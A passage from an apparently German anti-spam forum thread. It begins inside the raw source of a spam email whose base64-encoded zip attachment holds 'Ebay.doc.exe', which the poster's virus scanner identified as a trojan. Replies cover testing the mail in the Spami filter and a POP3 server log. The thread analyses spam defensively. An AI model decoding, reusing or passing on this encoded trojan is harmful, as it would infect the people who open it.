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
IQAAAAA=

------------FDDB339B6D9A7D7

------------FDDB339B6D9A7D7--


Natürlich ist noch eine zip-Datei angehängt als Schmankerl zum öffnen. Mein Virenscanner hat diesen als Trojaner entlarft...

Raffiniert die Mail oder??

Liebe Grüße, navada

[Quellcore]

Hallo navada!
Um Mails zu Testzwecken auf dem von mir eingesetzten virtuellen Pop3-Server zu speichern, müssen diese im eml-Format vorliegen.
Im Prinzip handelt es sich um den Quelltext einer Mail, abgespeichert als Textdatei mit der Erweiterung eml.
Durch Copy und Paste habe ich mir eine eml-Datei aus dem von Dir geposteten Quelltext gebastelt.

Was soll ich sagen: Spami 0.9.9.25 stürzt ab.
Könntest Du mir diese Mail unverändert als Mail-Anhang zukommen lassen
Meine Adresse gibt es per pn

Gruß
Quellcore

UPDATE
Es scheint an der Kommunikation zwischen dem virtuellen POP3-Server und Spami 0.9.9.25 zu haken.
Spami stürzt bei der Kommunikation jedesmal ab, auch bei einwandfreien Mails.

Code: Alles auswählen

Server Log started at: 17.04.2007 - 19:47:18
         C: <Connecting to 127.0.0.1:XXX>
19:47:18 S: +OK Welcome! You're connected to the Virtual POP3-Server.
19:47:18 C: USER admin
19:47:18 S: +OK password required
19:47:18 C: PASS *
19:47:18 S: +OK password accepted
19:47:18 C: LIST
19:47:18 S: +OK 1 visible message(s) (43 octets)
19:47:18 S: 1 20145
19:47:18 C: UIDL
19:47:18 S: -ERR